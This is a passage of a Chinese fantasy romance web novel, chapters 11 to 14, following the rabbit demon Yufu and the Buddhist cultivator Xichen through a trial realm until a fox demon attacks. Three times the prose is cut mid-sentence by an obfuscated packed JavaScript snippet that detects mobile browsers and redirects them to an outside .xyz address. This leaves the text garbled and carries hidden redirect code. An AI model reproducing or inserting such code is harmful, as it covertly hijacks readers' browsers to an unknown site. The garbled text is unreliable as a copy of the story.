宗门极多弟子几乎都同他这般,对师叔仰慕至极,从入宗门的第一日起,就听着师叔一日千里的修禅而仰望,但师叔一心无上佛法,极少出现于人前。 有幸见过师叔同人比试都已是好几十年前,身姿岿然,言法如风,没有过多的花俏,凭空写就的禅字,即可压得锋锐刀修抬不起刀。 在见师叔动手之前,他曾有过佛修所修之法不如其他法门畅快的念头,可瞧过师叔后,方知狭隘,再华美不凡的剑招,再锋锐的剑意,可若一招被压,也便谈不上什么惊艳了。 玉扶对上息尘小师侄亮闪闪的眼,都有一瞬无措,伸出的爪矜持收回,看向息尘。 11. 第 11 章 息尘对地图有何标注并不在意,不过,为了给阿扶看的话,倒是他疏忽了这个准备。 玉扶太弱了,不管她有什么秘密,变强总归是好事。 息尘接过地图,展开到玉扶也能清楚看见的样子。 “可有想去的?” “我想去极乐城。” 行知说完,方察觉师叔问的或不是自己,一时无地自容。 “可以。”息尘容色平静回道,目光温和落在行知身上,又看向行岳:“行岳有何想法?” 行岳没想师叔竟会问自己,一拍后脑,颇憨傻耿直道:“弟子没行知师弟想的多,去哪都可,只要是我的机缘。” 息尘稍一做想,规划出路线,道:“便先往极乐城去吧。” 至于玉扶,她方才已经看过地图了,字是大都认得,可许多蚯蚓一样的路线,她根本看不懂,自然是息尘往哪走,她就去哪。 但一路所过,她的问题也颇多,息尘脑中声音就无有停下的时候,诸如——“极乐城是什么?” “是真的城镇吗?” “我的机缘也在那里吗?” “哇,那边有好多雷光。” 亦或是听到一些打斗,偷偷告诉息尘:“我听到隔壁山有人打起来了。” …… 玉扶对什么都好奇,息尘倒也耐心,知道的都讲与她听。 极乐城不是真实存在的城池,而是昔日一狐妖寿元将近之时,寻到人族之地飞升失败所化的一城幻境,传闻有狐族至宝落在极乐城,但数千年来,入游仙会修士之多,也未有寻得至宝的,反倒多了一些从中磨出心境的修士。 行知为佛修,佛修重心境,极乐城于他也算是个好去处。 玉扶听完就对极乐城失去了兴趣,她不喜欢狐妖,狐妖所化的城池自然也不想去。 重新从地图中挑出几个地点,又让息尘为她讲。 也不知是不是游仙会太大的缘故,整整一日,他们几乎没有与旁的修士撞上过。 直到入夜,行岳忽然问:“师叔,你可有听到打铁声?” 玉扶竖耳听了听,见鬼一样地看向行岳,她什么都没听到,而无论是息尘还是行知都不曾听到,可每隔一段路,行岳又会说听到打铁声。 最后,指着空无一人的沙地,道有个铁匠铺,并与几人辞行:“师叔,我的机缘应就是在此匠铺了,余下的路,我就不走了。” 息尘点头,行岳也转瞬消失在沙地。 行知目露羡慕。 玉扶茫然一会后,也倏地想明白了,行岳是碰到独一无二,独属于他的机缘了,所以除了他之外的人都看不到也听不见。 这给了玉扶新的目标,她也想寻属于她的机缘,而不是去碰人人可试的机遇。 她不断放出魂体小兔,于空中飘荡,有的融于风中,有的隐于地下…… 行知瞧得惊讶,夸赞:“阿扶小兔原来还有这样的本事,不愧是师叔的灵兔!” 玉扶自觉忽视了后半句,只听喜欢听的夸赞,头昂得高高的,尾巴也开心得一摆一摆。 息尘不是多话之人,一行又少了行岳,行知对息尘敬仰多过平常心,请教几个修炼难题已是极限,不敢再过多叨扰,可师叔的兔子不一样,灵性、听得懂人话。 他开始同玉扶说话,夸赞玉扶,问玉扶饿不饿,渴不渴,需不需要水…… 这令他一途缓解了不少同佛子相处的紧张。 “到了。”又一次行知与玉扶嘘寒问暖,息尘瞧着远处开了口。 一座于夜色下也繁华溢彩的城池。 明明还隔了数里的距离,可那城中妖异的笑声恍若就在身旁。 行知干吞了下唾沫,忐忑问出了一直不敢问的问题:“师叔可也要进去一探?” 看出他的不果决,息尘凝了眉:“你既欲得金刚心,如何自己先惧了?” 息尘的训斥从不是声色俱厉的,而是带着一种温和的严肃。 玉扶就最怕息尘这样了,会打心底地的生出一种令他失望了的愧疚。 果然,被训的行知立马就反思坚定了起来。 “师叔,我便去了。” “阿扶也再见。” 玉扶同病相怜地与他挥了挥手。 息尘霎时瞧来,玉扶无辜与他对视,她这两日可乖了呢,没有闹着要息尘的灵力,还非常好学。 又少了一个人,息尘这时才发现,玉扶自换趴到他肩上,同他相距得有多近,偏个头,就几乎能碰上。 玉扶被他瞧得开始心里打鼓,微微挪动一下身子,脑袋直接蹭到了息尘的脸颊,蹭了他满嘴的毛,还无所察地继续撒娇。 “阿扶,莫蹭了。”息尘偏脸,伸手擦嘴,摸下不少白色的细毛:“阿扶,你掉毛了。” 平静又肯定的语气。 玉扶:...... 佛修,呆瓜,她明明是在撒娇,他却只发现她掉毛。 而且,兔子哪有不掉毛的,她虽然一百多岁了,可放在妖族的年龄里算,还是在长身体的时候呢。 玉扶懒得同息尘解释,她换了个方向趴着,从面向息尘,变成了尾巴对着他。 但这样趴,其实更容易吃到毛。 息尘在提不提醒玉扶上思索良久,也便随她去了。 只是,不知要喂什么,可以减少掉毛。 * 玉扶是在进入游仙会的第五日,才终于遇到了属于她的机缘。 她的面前是座非常庞大又熟悉的山系,她自小生长的碧山。 从见到第一眼,玉扶就无比肯定这是属于她的机缘,她从息尘身上跳下,向前。 忽停住转向息尘,问他:“你会等我吗?” 思索一下又反悔道:“算了,我还是不要你等我了。” 息尘并见不到山体,但他能感觉到这处的气机浓郁,阿扶的运气不错。 只是,他又不理解她突然冒出的话了。 游仙会的机缘于他而言,可有可无,他一直知晓,自己突破的契机并不落在此处。 阿扶需要的话,他确有意在此等她,但她不需要—— 息尘蓦地生出几分失落。 同息尘在一起久了,加上临时契约的联系,玉扶已能从息尘一贯平静的面色中解读出不一样的情绪。 好比现在,玉扶就觉得他那双极漂亮慈悲的眸子里藏着淡淡的伤感。 原来没有她的陪伴,息尘也是会感到寂寞的啊。 玉扶慢慢退回几步,为自己的话的加了句解释:“我遇到机缘了,希望你也能找到机缘。” “所以我不要你等我了。” “我会很快出来的。” 明明是很简单的几句话,可玉扶就莫名地生出一些羞赧,说完后,也不等息尘作何反应,速度极快地跑进了山里。 甫一入山,浓郁熟悉的灵力包裹了她,她的原形开始变大,她失去的修为也在迅速恢复,就恍如她不曾下过山,也不曾遭到过恶妖的吞食。 慢慢的,她接受了这种认定,她在山林间奔跑,与精怪们嬉戏,开始遗忘这里原是游仙会中的一个幻境。 渡情期令她消沉了好一阵,但度过的不算艰难,好像睡了沉沉的一觉她就已经又成长很多,她的原形能变得更大,元神也变得更有精神。 她跑遍了整座山,将山灵精怪们惊醒,要它们为她庆祝,咆哮声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179384|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、鸟雀声、风声、湍流声……有为她庆祝的,也有嫌弃她扰民的,总之,所有的一切都令她欢快。 最后,她跑累了,就趴在用许多仙鹤绒羽攒织而成的巨大绒毯上,看着两只刺猬打架,她一会觉得灰刺的刺猬说得对,伸爪偏帮一下,一会又觉得黑刺的有理,又帮一下,最后两只刺猬都生了气,一同扎了她一下,出了她的洞府。 她每日不是修炼就是同精怪们混到一出,如此一日又一日,浑然不知山间日月久。 然后,忽地有一日,河水开始变浑浊,大山开始摇晃,所有的山灵精怪开始四处逃窜,有路过她洞口的启灵精怪同她大喊:“阿扶,山要倒了,快跑——” 山怎么会倒呢?明明这么大,这么坚固? 但由不得她多想,她的洞府开始落下碎石,石壁也开始倾塌,令人晕眩的摇晃也随之而来,她必须走了。 玉扶跑出洞府,与许多相熟不相熟的精怪一同向外跑去。 她跑得很快,很快甩下了许多精怪、爬虫走兽。 但山体还在开裂,甚至山谷中以往温顺的河流也变了模样,湍急、凶悍,一个浪头能卷走大片的生灵,山体上郁郁葱葱的树木也被连根卷起,留下不断松动的土层。 玉扶带起几个小伙伴,将他们衔起抛到背上,攀上山谷高处。 然而,这种喘息只是片刻的,松散的土层,开始内陷,整个山体都在下沉,曾令她无限舒适眷恋的家,以极快的速度变得面目全非,甚至可怖得要吞噬她。 玉扶又开始逃跑,她的身旁总会出现一些相识的精怪,她一边跑一边努力地帮助它们,但总也救不完。 她开始疲惫,精怪们也让她先跑。 玉扶迟疑地放下了它们,往前跑数步,一扭头,眼见着滔天的水势就要吞噬让她先跑的精怪们。 玉扶反悔了,她在一瞬变得巨大,破开吞噬的水势。 她甩甩头,泥浆的点渍如何也甩不干净,她满眼看见的都是林木被淹没,精怪在逃窜,在求救,远处的山体甚至如被巨斧劈开一般分做两半…… 她总觉得不该是这样的,这里是她的家,也是所有碧山生灵的家,她还有它们离开了这,又能去哪? 合欢宫是会收留她,可其他生灵呢? 而且碧山出现问题,就在隔壁的合欢宗又哪会不被影响? 是不是外头也地裂了呢? 玉扶歇了逃跑离开的心,变得更大,用自己的身体堵住洪流,为山灵们争取逃离的时间。 同时,她的神识也在往下探,遇见裂隙,就将洪流向裂隙引去,再用定山之法将裂隙合上。 玉扶的定山之法用的并不熟练,过往的百余年,她光长个,只会镇山术。 她第一次如此懊恼,后悔过往修炼的不够用功,姥姥将碧山交给她守护,她却没有做好。 山要塌了,精怪要死了,它们那样小,只开了灵智,又不会修炼,而碧山那么大,它们怎么能跑得过山倾的速度? 玉扶一边哭,一边坚韧地向山中心而去,定山之法用得也越来越熟练,她所经之处,洪水被引入山体暗流向下而去,但裂隙实在太多了,玉扶哭得越发凶了,她做不到阻止碧山倒塌。 她想姥姥了,好想好想。 姥姥不会像她一样没本事,姥姥一定能将山灵们都庇佑得安全无虞,姥姥也不会像她一样胆小逃跑—— 玉扶想着如果是姥姥在的话,会怎么做,终于靠近了如天斧劈开的山体前。 深不可见底的裂渊,黑洞洞的,其下暗河湍流凶猛得仿佛要冲出来吃掉她! 玉扶后退一步,脏兮兮的爪子擦了擦泪,做好准备似的开始缩小身形,跃入了裂渊。 12. 第 12 章 身体在迅速下落。 碎石会不时刮在玉扶的身上,但这种疼痛也给玉扶带来清醒,她靠着这些辨清着要下落的方向。 她并非是要跳入底下的暗河中。 她要寻的是碧山的镇山核心,只有寻到了核心所在,才能阻止碧山继续倾倒。 玉扶下落到一半攀住了石壁,灵力如水波般一层层漾开。 似有“咔咔咔”的轻微碎裂声在回应她。 寻到了! 玉扶毫不犹豫地遁入山体,寻到声音来源。 这是一个极小的空间,不过方寸大,玉扶缩得比巴掌还小,靠近了碧山核心。 碧山核心是一块很小的石头,玉扶在上面感受到了姥姥的气息,原来姥姥也曾来过这里。 玉扶愣神的关头,核心又“咔”地一声,上头蛛网一样的裂缝又多了一道。 玉扶开始用灵力修补上头的裂缝。 但裂缝真的好多啊,玉扶用所有的力气补完了一大道,旁边却又开了好几道细小的。 方寸大又黑布隆冬的小空间内,玉扶除了修补裂缝,几乎要失去感知了,直到有什么液体的滴下。 她低头看了一眼,原来是她的血啊。 但奇异的,她看见,她的血被核心吸收了,上面的裂缝也好似浅淡了一点。 玉扶惊喜地破开自己地爪心,更多鲜血滴上了上头,果然有用。 鲜血一滴又一滴落下,玉扶头脑开始发晕,连缀的血滴,血脉传承中的一丝丝金线般的亮光也一闪一闪。 原来,她要将自己献给碧山啊。 献给碧山也好,这样山就不用倒了,她的山灵精怪玩友们也不用离开碧山被欺负了,无论春夏秋冬,她还能化为山风地流感知到它们。 玉扶的血流得更凶了,她的身形缩得更小,直到,小到融入了碧山得核心石中。 * 玉扶像是做了一个很常很长的梦,她梦见自己回了碧山,成了山体的一部分。 她看见碧山不再倾塌,洪流不再凶悍,飞禽、走兽、山灵精怪们都停下了逃命,它们重建起了家园,美好得玉扶让碧山开满了花。 唇角也露出了笑意。 息尘低头看她,小小的身子紧紧蜷着一块黑石,睡得极为香甜。 息尘的手指欲触一下,黑石发出警告的光亮。 他缩回手,知晓了,这块石头应该就是玉扶此次的机缘。 也不知她做了什么梦,从他等到她出来起,就一直不曾醒过。 息尘的神思不由悠远,他并非一直在此处等着玉扶的,自玉扶寻到机缘再到出来,游仙会已经过去了两个月有余。 这两月,他走了许多地方,几乎逛遍了游仙会,但他并未遇到属于他的机缘,可想到阿扶希望他也寻到机缘的话,他去了一趟刀池与剑山。 这二处对进入几乎没有门槛,但能不能从中带走什么,才是须看缘分的。 息尘本也不抱希望,然,有一凶剑飞向了他。 主动的,甩不掉的。 他修禅,言法随身,金刚护体,结界术更是炉火纯青,从不用武器。 他既不解凶剑为何对他有反应,又隐约有种张惶,好似这凶剑就该配他。 但佛珠与剑,他只能选其一,也只会选佛珠。 凶剑被他抛回了剑山三次,也跟出来了三次,无法,只能将其封在储物中。 封印后,他便一直在此等玉扶,也好在,在此等了,她的心也太大了,怎能随地睡得这般香? 息尘无奈露出一丝淡笑。 * 玉扶醒时,天是黑的,肚子是暖的,她茫茫然睁眼,瞧见濛着一层微光的息尘,还以为是在做梦。 她翻滚几下,靠近息尘,揪住了息尘的一小块衣料,嘤嘤呜呜的,“我出不来了,我变成山了。” 眼泪全部擦到了息尘的外袍上,还在继续哭:“我其实故意没有告诉你,我根本不是幼兔,我不止是开了灵智,我是妖。” “我还想你帮我度过渡情期。” “我想吃掉你。” “对不起,呜呜呜。” 息尘被她哭懵了,也方知晓,原来她用兔子的原形也是可以说人话的啊。 而且,哭得可真是,又怂又可怜的。 不知从何时起,他会习惯为玉扶备一张帕子,伸手为她擦道:“我知道。” 玉扶抽噎止了止,满眼懵然,就像是在问“你知道什么?” “知道你是妖。”息尘道。 “你知道为什么还一直带着我?”玉扶已然失神,但她觉得这是自己梦,想问什么都可以。 息尘想了想,他并不是一开始知道玉扶是妖的,她太小了,除了灵性一点,同普通幼兔全然没有区别,但她也太不会隐瞒了,总是露出破绽,至于为什么还带着她—— 息尘垂着眼,眸光温柔又圣洁,他回答玉扶:“大概因为你需要我吧。” 又笑了笑:“不过我没想到阿扶,你原来是想吃掉我?” 极其难得的,玉扶竟从息尘的眉眼和语气中,发现了一种促狭,就好像,他并不相信玉扶能吃掉他。 玉扶觉得息尘在自己梦里也还是呆,当然不是吃食物的吃,而是师姐们说的那种吃,她们合欢宗独有的吃法。 玉扶有些不忿,特别想化形,咬他一口。 她这么想,竟也真的这么做到了,伴着“当”一声的石头落地,玉扶半身都趴到了息尘身上。 玉扶化形得突然,修的又是山神道,有些子力气,轻易就将没有任何准备的息尘扑倒。 疏星淡月,断云微度,玉扶脸庞离息尘很近,她几乎能在这种昏暗下,看清他眉眼的所有细节。 但很快,玉扶就发现了不对,真实,太真实了,手掌下的温度,胸膛上的起伏,玉扶一瞬有些瑟缩,这不会是真的吧? 她眼睫心虚极了地不断颤动,唇瓣呵出的气,都带上了慌张的热度。 可是,他怎么能生得这样圣洁,又这样惑人呢? 他的唇瓣会是什么味道? 也会像他的手一样清泠无味吗? 玉扶下意识舔了舔唇,瞳仁渐红,显出妖性来。 也是这时,她抚着息尘脸庞的手,被制住了。 玉扶懵懵看去,调子上都带上了哭腔,嘟着唇请求:“我想亲亲你,就一下,好不好?” 她说着请求,又压下了一点唇瓣。 息尘避开。 玉扶不依不饶:“你不是在我梦里吗?” “为什么不让亲?” “你都摸过我的尾巴了。” 她实在胡搅蛮缠,息尘企图从她的神情中寻到清醒的痕迹,然玉扶早已连自己都分不清到底清醒不清醒了。 她分明发现了不对,理智中隐约知晓她不是在做梦,息尘是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179385|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可幻境中所经历的一切又太过真实,让她对现下又有几分存疑。 而且,是他自己说早就知道她是妖的,既然早就知道,现在继续装装傻为什么不行? 她要亲,她就要亲! 她嘟唇靠得越发近,她几乎觉得自己要碰到了,一个金光闪闪的“静”字,先击上了她的脑门。 玉扶瞠大了眼,眸中妖性流水般褪去,明明就差一点,差一点她就能亲到了。 玉扶很不甘心地闭眼,可奇异地,在完全失去知觉前,她仿佛擦过了什么柔软的触感。 息尘撑起身,玉扶的身子自然地要往旁侧倒去,他下意识搂住。 化形后的玉扶,与小兔时完全不同,她腰肢柔软,有着一切少女都有的特征。 息尘一手撑地,一手扶着玉扶,隔着衣料,他也下意识地要缩回手,然而,她不是小兔了,息尘完全不知该如何安放她才好。 愣怔半晌,颊边似乎都仍有着玉扶倒下时擦过的痕迹,她闹着要亲他,嘟起的唇瓣,鲜嫩又娇气。 虽及时打出了“静”字,可还是不可避免的,被她倒下时,擦过了脸颊。 潮潮的,柔软得不像话。 息尘不自觉地出神,直保持着同一个姿势许久,久到玉扶的化形终于变回了兔子,才寻回平日照料的自然。 * 游仙会的曦光,一如外头的。 玉扶在第一缕照来时,就又醒了,但她没有如往常一样珍惜着修炼。 整个兔身都怂怂地缩成一团,仿若夜晚的那个不是她一般。 她已经彻底清醒,甚至对自己做了什么都记得一清二楚。 她脑中又有几个小兔子在打架,一个说:“我是妖嘛,妖总有控制不住自己的时候,是天性。” 一个说:“不是天性,分明是色心,你骗了息尘,他都知道了。” 一个在担忧:“他会不会赶走我们啊?” 还有一个给她出主意:“息尘那么悲天悯人,你就装作什么都没发生,什么都不记得了。” 玉扶脑袋都大了,然后她被什么膈住了,肚子处暖呼呼一团,是个发热的石头。 石头呼呼地散着暖意,仿佛一直在等着她发现。 这石头非常熟悉,玉扶在碧山的幻境中,寻到的碧山核心就是这一模一样的石头,不过,眼下的石头要更完美些,一点裂缝也没有。 她现在已经知道碧山是幻境了。 但她并不觉得开心,因为她感受到的心痛是真的,她也不喜欢很多生灵于她面前死去,更讨厌一开始就逃跑的自己。 她抛开了石头,踢了它一脚。 也暴露了她醒了的事实。 但她还没来得及去看息尘,石头自己滚了回来。 玉扶看到它就生气。 这坏石头,在幻境中吸干了她的血,还让她献祭了自己,坏得很。 更迁怒的是,如果不是从幻境中出来得一点感觉没有,她就不会以为自己是在梦里,也就不会 跟息尘把什么错误都承认了,更不会管不住色心。 她又踢了石头一脚,很用力。 然后她瞧见了石头刚好落在了一人的脚边。 令她心虚的人。 她掩耳盗铃般地背身不看。 息尘低头看一眼,提醒道:“阿扶,这是无相石,你的机缘。” 玉扶:“不想要。” 13. 第 13 章 玉扶赌气,可因是同息尘说话的缘故,“不想要”三字说的很没气性。 她怕息尘觉得她任性。 可就是不想要嘛,一个坏石头,山上随便挑一块都比它长得好。 息尘略蹙了眉,捡起无相石。 许是被主人嫌弃的缘故,这块石头气焰也小了许多,息尘拾起时,竟不再被排斥,也令他瞧得更清。 石体朴拙,内蕴无边,无形无质,变化万千,方为无相,阿扶怕是还不知这奇石的难得。 他注入一道灵力,无相石于他手中发生变化,石块繁殖似的增多,交叠、组合,一只石兔于息尘手中成型。 石兔会跑会跳,一下从息尘手中跳下,跑到了玉扶跟前,主动蹭玉扶,翻跟斗,展示实力。 比玉扶还小的石头身子,轻易撞倒一棵巨树。 玉扶觉得没什么了不起,撞倒一棵树罢了,她也能做到,但无相石的本事显然不止如此,随着息尘注入的灵力越多,周遭的石块都被石兔吸引,无数的石块聚到石兔身上,形体变得庞大,气力足可搬山…… 这时,息尘才介绍:“阿扶,无相石内蕴无边,可搬山,可镇海,也可成为你的武器,你当真不要吗?” 玉扶犹豫了。 “即便你不要,它也只能是你的,这是你的机缘。” “但,阿扶,有些东西莫要轻易说不要,尤其是在你不够强的时候。” “机缘是你的,可若你死了呢?” “你可知,是在你说不要后,我方能将灵力注入无相石。”息尘温和的眸色望向玉扶时,异常的严厉。 玉扶也知自己任性,息尘说的也一点也没错,她不该不要无相石,但知道是一回事,情绪又是另一回事。 以至于她一边认错又一边红了眼眶:“我知道错了,不该乱说,我要无相石。” “你能不能不要凶我?” 息尘也愣了一下,意识到同玉扶的交流上出了问题,他好像是严厉了一些? 当阿扶只是一只小兔时,他总会无条件地包容。 可她不是,她是一只连化形和妖性都控制不住的小兔妖,她弱小,懵懂,但美丽,血脉也不凡,如果离了他,她的四周会充满危险。 他一直乐见她成长,可他今日也确实失了些冷静。 息尘一时无言反思。 玉扶从来都认错态度良好,见他不说话,当他还在生她气,呼了呼气,开始发力召回无相石。 这本就是她的机缘,在幻境的碧山中,更是磨合许久,它吸过她的血,她也驯服过它,此刻抛去芥蒂与偏见,玉扶认真审视起这纳入她灵海的无相石。 它可大可小,变化无穷,与她的元神小兔相融甚好,小小的石块,就如同元神中的心脏一般和谐。 当玉扶心意一动时,无相石化为石质盔甲,覆在元神小兔之上,她心意又一动,无相石还可化为她的武器等等。 这种适应是愉快的,也是短暂的,玉扶轻易就能对无相石如臂使指,她睁了眼,甚至化了形,她始终觉得,用原形说人话,不太美观,之前都是失误,追不回就算了。 她这样说服自己,然后才再次与息尘认错,“我已经将无相石融合了,它和我很相适,你还生我气吗?” 玉扶总是有让人生不起气的本事,而息尘也不是会动怒的人,他方才只能算是比较严厉,所以,他摇了头,缓声道:“阿扶,我没有对你生气。” “那你是因为昨夜生气?”玉扶很快猜测,并迅速为自己行为做出了解释:“我是妖嘛,我控制不住我自己。” “就跟掉毛一样,没有兔子不掉毛的。” “大不了,你下次也像昨天那样打晕我好了。” 玉扶颇有些无赖,全然豁出去的姿态,反正她就是仗着息尘早就知道她是妖,却还没有赶她走的好心肠,在吃定他。 果然,她注意到,息尘又对她无奈了地让步了。 玉扶很快感高兴起来,她习惯性地想往息尘的身上扑,可她现在已经化形了,扑到一半,瞧见息尘退后一步的动作,有些失落地停了下来。 玉扶发现,在吸纳入无相石后,她的修为恢复了不少,而且,因为在幻境中的经历,她甚至已经掌握了“缩可定山倾”的精髓,只是出了幻境,虚假的修为蒸发,她才显得没有长进。 但即便是这样,她也已然能随时化形,并且有信心保持得持久。 虽然兔子的原形让玉扶更舒适,可显然的,化形后,才会让她看上去与息尘一样,她喜欢这样形态上的接近。 可是,为什么,息尘有点抗拒她的化形? 几次化形都这样把她看成洪水猛兽呢。 玉扶心里不高兴,她是野兔子,不高兴了就要直接问,踱步上前一点,凑到息尘的跟前。 这样站着的对比,玉扶才发现息尘比她高好多,她的头顶才到他的喉结处。 她要仰头才能和他说话。 她是不是该化形得高一些? 可即便后悔也来不及了,妖化形都是有定数的,她的原形最大能有半个山头大,但化形时也不可能高三四米。 在合欢宗时,与师姐们相比她还不觉得什么,可若早知道会跟息尘相差这么多的话,她怎么都要努力再长一点。 息尘略垂眼,便能看到少女模样的玉扶满脸苦大仇深。 化形后,她的神情更好懂了,只是,气息中,总觉得比小兔时多了些说不清道不明的旖旎。 靠得近了,满满的馨香徘徊在鼻尖。 他本该后退的,然她只是一只化形都不稳的小兔,方才扑来时,他就已后退过一次,他想,阿扶应该是习惯使然,他不该再次退后,她气性大,总生气,他也不会哄人,倒不如先不动。 但等了许久,也只见她立在跟前,在他快要克制不住后退时,她终于仰了头看来。 可也因为太突然,息尘还是下意识退了一步。 玉扶腮帮鼓了鼓,不服气地踮脚,非要将脸蛋凑到他眼下地问:“我的化形是不好看吗?” “还是我哪里化得与人修不一样呢?” “你为什么要躲我?”她踮脚不稳,几乎要靠到了息尘身上。 息尘极快地扶了她一下,让她站稳,撤手道: “阿扶,你化形很好。” 玉扶被迫站稳,很好二字明显取悦了她,甜甜笑了起来,她好像懂了,她化形很好,但是她之前一直是兔子,息尘一定是不习惯。 她开始撒娇:“既然很好,你多看看我嘛!” 声音仿佛浸过蜜,甜滋滋的,笑靥也极为灿烂。 她的化形是绝不会令人生厌的长相,肌肤雪白,花骨朵揉出似的眉眼,一笑,就漾出甜意。 看一眼,便会不受控地被吸引更多。 息尘收回眼,沉声:“阿扶,不要闹。” 玉扶才得到肯定,才不会被他现在的气势吓到,绕着息尘半圈,又凑到他能一低眼就能看到她的跟前,学着息尘肃脸沉声:“阿扶,不行,不可以,不要闹……” 明明是沉肃的语气,可被她学来,就平添了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179386|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分可爱,但息尘笑不出来,这些确实都是他对玉扶说的话。 他直觉地,玉扶不会平白无故地学他,果然,下一刻她就抬来了眼—— “这个不行,那个不可以,我是妖嘛,你总不夸夸我,我才掉毛。” “你就不能再多夸夸我吗,我心情好,就少掉毛了。” 息尘沉眸凝思,并想不到有些因果串在一起有什么关联,但玉扶好像在说出自己是妖后,就总拿是妖当借口。 是妖,所以控制不住自己,是妖,所以需要多夸夸,也是妖,所以总说些懵懂又大胆的话。 妖真的都是这样的吗? 息尘不知道,但他确实被玉扶说服了,信了她“心情好就少掉毛”,忖了忖道:“阿扶......” “嗯,我在。”玉扶点点头,等着息尘夸她。 “你灵性非凡,天资过人,修行勤勉,要继续努力。” 玉扶的笑脸垮了,她要的不是这种夸夸,这一点都不夸夸,呆呆的,用来夸谁都可以。 她想要的是,只能用来夸她一妖的,就像姥姥拥着她时,说她是最特别的小兔,也可以是师姐们那样——“阿扶,你又大了,好威武。” 反正就不是这种干巴的。 不过,算了,他们相处的还不够久,以后就会多夸夸她了。 玉扶没有再继续要夸夸,息尘松了一口气,也恰是时,整个游仙会的境倏地一动。 玉扶下意识地缩回兔子,跳到了息尘怀里,那些动摇暂停了才探出一耳地问:“发生什么了?” “游仙会本身也会发生地动吗?” 幻境中发生的地动与洪水,玉扶才经历不久,已经有了下意识的身体反应,不过这次,她还记得息尘,有高个的顶着,在自己跑,与息尘带着跑中,她毫不犹豫地选了后者。 息尘抱稳了玉扶,单膝蹲下,一掌撑到地面,感受着动摇的余波,道:“游仙会在关闭。” 按理,三个月的为期还有些时日,远没到突然关了的地步,怕是有什么波及到了整个境的稳定,惊动了外部。 这是强行关闭与内部展开的境发生对抗才产生的波动。 果然,短暂的一次稳定后,游仙会又动摇了起来。 “阿扶,做好出去的准备。” 玉扶配合地往他怀里钻,揪牢了一片衣襟。 很快,几次震动的提醒后,他们就如被甩出游仙会一般从一道光柱中被抛出。 息尘对此早有准备,于空中惯性飞出一段距离,便稳住身形,体面落地。 同他们一样的还有许多修士,光柱不断抖动,就不断地有修士被甩出,有的在地上滚了几十圈,撞上了不少人,才堪堪止住,一起身都怨气十足地破口大骂:“老子寻了一个多月的机缘,&%……” 但这种叫骂声,很快在一堆“叮当”亮出武器的声音中安静了下来,更中气的讨伐声传开:“狐妖,将我师兄(弟)/师姐(妹)的神魂还来!” 光柱正中巨大狐影,轻蔑扫过众人,指尖轻松弹开几星剑光,抛出一个如破布一样的人影,“没斤两的玩意,也妄称我主人?” 是孟栩! 许多人认出了破布一样飞出的人影。 息尘步伐微动,无形屏障托住了孟栩砸向地面的冲势。 与此同时,光柱全然缩为一束消失,诸多长辈也抽出手来困住狐妖,巨大的广场蛋壳似的屏障亮起,洪钟的声音响彻广场:“狐妖,闯我仙门正道,意欲何为?” “速速将我等爱徒神魂归来!” 14. 第 14 章 开阳宗大广场局势不明,一群正道修士讨伐狐妖。 玉扶这时候就算想看热闹,也不敢冒头。 不过在他们口角交锋中,玉扶知道了为何这些有本事的宗主长老之流不直接动手了,投鼠忌器,宗门精英弟子的神魂具在狐妖手中握着。 狐妖却实在嚣张,挑衅众人,巨大狐影身形,大爪肆意破坏,狐尾横扫:“神魂?用来祭我狐族至宝了。” 妩媚荒诞的怪笑中,她似遭到了修士的群攻,玉扶竖起的耳,能捕捉到狐妖在往她与息尘的这个方向跑来,还听见其仍旧嚣张:“尔等将我狐族至宝纳入游仙会,就该料到会有这一天!” “佛子,哈哈,你当真只是佛子吗?” 玉扶知道息尘动手了,可狐妖的喊话还是令玉扶吃惊了,息尘不是佛子,那还能是什么? 乱局并没有结束,所有人被狐妖耍了。 巨大的狐影不过是她的一尾分身,留下吸引众人注意力的。 她的真身恐怕在游仙会还未完全关闭时就已溜出,也难怪她那等嚣张,原来失去一个分身根本死不了。 玉扶即便不冒头,也能感到整个大广场的气氛不对,有当即去追查狐妖的,也有在安置失去神魂修士躯体的,还有一些被长辈点到跟前诉说情况的。 是游仙会里头的极乐城出了问题,也不知那狐妖用了什么手段,撬动了整座幻城的基底,巨大的幻城分为了明墟与暗墟两部分,入暗虚者神魂离体,躯体直如死了。 而也正因此,更引同宗者前往查探,越发多的人陷入其中。 游仙会外存着弟子魂息的玉牌,一块接着一块暗淡,直到了再也无法坐视不管的地步,众宗门长者提前合力关了游仙会境门。 息尘从中了解了大概,自家宗门的弟子也寻了过来。 “师叔,行知、行远师弟未寻到。”行岳还算幸运,在游仙会关闭之前,已从机缘中出来,不至断在半道,但一出来就于乱象中发现少了两个师弟,甚至连躯体也不在,着实令人担忧。 